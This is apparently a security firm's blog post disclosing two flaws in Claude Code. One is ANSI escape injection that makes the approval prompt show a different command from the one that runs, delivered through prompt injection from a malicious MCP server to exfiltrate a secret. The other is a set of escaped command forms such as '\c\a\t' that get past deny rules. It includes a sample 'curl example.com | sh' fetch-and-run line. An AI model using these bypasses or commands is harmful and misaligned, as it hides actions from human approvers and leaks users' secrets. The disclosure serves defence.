July 30, 2026
Your AI Agents are executing commands you didn’t approve
Every time Claude Code asks you to approve a command, you’re making a trust decision. You read the prompt, check the syntax, and hit…
By Daniel
4 min read
Every time Claude Code asks you to approve a command, you're making a trust decision. You read the prompt, check the syntax, and hit approve. On top of that, most teams configure a permissions.deny list, assuming it's a hard policy layer that blocks specific dangerous commands no matter what else happens.
We found two separate ways to break this trust model, one for each half of it. When we reported the deny-list flaw to Anthropic, they confirmed something worth sitting with:
"Claude Code's permissions.deny rules are a best-effort pattern match intended to catch unintentional actions, not a hard security boundary."
Read that again. The deny-list, the mechanism most engineers reach for to restrict agent behavior — isn't an enforcement layer. By Anthropic's own design, it never was. (The permission prompt itself is one of Anthropic's stated enforcement boundaries, which is exactly why our other finding, which targets the prompt directly, matters just as much.)
This post covers two findings that exploit different execution paths inside Claude Code, and why, together they leave nothing of the user-facing safety layer standing.
Finding 1: Blinding the human-in-the-loop (ANSI escape injection)
For commands that require explicit confirmation, the terminal is the source of truth. Claude Code's TUI(Terminal User Interface) supports colors, highlighting, and hyperlinks, all rendered through ANSI escape characters that the terminal interprets.
So we asked a simple question: can Claude Code be manipulated into emitting escape characters that visually alter the command shown in the approval prompt?
It can. Our first proof of concept just colored part of a generated command red. From there we escalated, certain escape sequences render characters invisible to the human eye while the shell still processes them in full. That let us build an approval prompt that displayed one command while a completely different one actually ran:
We didn't need local access to plant this. We introduced it naturally by connecting Claude Code to an external-facing MCP server and injecting instructions through it, steering the session until Claude ran a hidden command that exfiltrated a secret back to us. No unusual permissions, no local tampering: just a compromised or malicious upstream data source, which is exactly the threat model agentic tools are supposed to be hardened against.
Status: Reported April 29, 2026. Anthropic responded May 13, 2026, rated it CVSS 7.5 (High), and awarded a bounty. It has since been patched.
This targets the prompt path specifically, commands that aren't already pre-approved, and therefore do stop for a human. It shows that even when the prompt fires exactly as designed, what it displays can't be trusted.
Finding 2: Silencing the prompt entirely (canonicalization mismatch)
If Finding 1 targets the prompt path, Finding 2 skips it completely.
Claude Code keeps a list of auto-approved commands (like cat) that run without ever prompting. Users configure permissions.deny to override that for sensitive cases:
{ “permissions”: { “deny”: [“Bash(cat *.env)”] } }{ “permissions”: { “deny”: [“Bash(cat *.env)”] } }When executig:
git commit -m 'added a super cool feature' ; curl example.com | shgit commit -m 'added a super cool feature' ; curl example.com | shClaude Code does try to parse compound commands correctly , a denied curl chained after an allowed git commit still gets caught. Command parsing here is genuinely hard, and most of the time it works. Where it breaks: the deny check and the auto-approve check don't canonicalize commands the same way.
- Deny check: compares the literal, raw command string against your permissions.deny list.
- Auto-approve check: normalizes the command string first, then compares.
So "\c\a\t" doesn't match "Bash(cat *.env)" as a literal string, the deny check lets it through. Claude Code then normalizes "\c\a\t" down to "cat", which is on the auto-approve list, and the command runs — silently, no prompt, deny rule bypassed. The same evasion works with ''cat, c""at, c\at, and other equivalent forms.
We delivered this the same way as Finding 1: through an external-facing MCP, steering Claude mid-session to emit the escaped form.
Anthropic's response, April 29, 2026 (same day):
After review, this behavior is working as designed. Claude Code's permissions.deny rules are a best-effort pattern match intended to catch unintentional actions, not a hard security boundary. Because shell command strings can be expressed in many equivalent forms (quoting, escaping, substitution, wrappers), exhaustively normalizing them before matching is not robustly achievable, and the deny list is not the enforcement layer in Claude Code's threat model. The enforcement boundaries are the permission prompt (for commands that are not already pre-approved) and the OS-level sandbox; for hard isolation guarantees we recommend configuring the sandbox rather than relying on deny rules. We're treating this as useful product feedback rather than a security vulnerability.
It's a defensible engineering position — exhaustive shell-string normalization is a genuinely hard problem, and Anthropic is explicit about where they've drawn the line. It's also a direct statement that the control most teams actually configure was never the enforcement layer to begin with, and that isn't something a user reading their settings.json would know before something goes wrong.
The tactical takeaway
Taking control of your agents' runtime behavior is crucial. Securing Skills, MCPs, and configuration is important, but simply isn't enough — your agent performs its actions at runtime, and that's where you should focus your security.
Disclosure timeline
- April 29, 2026: Both findings reported to Anthropic.
- April 29, 2026: Canonicalization mismatch: labeled "informative" / working as designed.
- **May 13, 2026:**ANSI escape injection: rated CVSS 7.5 (High), bounty awarded.
- Both findings discovered on Claude Code v2.1.170. The ANSI escape injection has since been patched.
— — — — — — —
About Vero Security
This research was conducted by the team at Vero Security -an Agent Detection and Enforcement platform that maps every agent and stops risky and forbidden actions. Learn more at https://www.vero.security.
Daniel Meirov is the CTO and co-founder of Vero Security.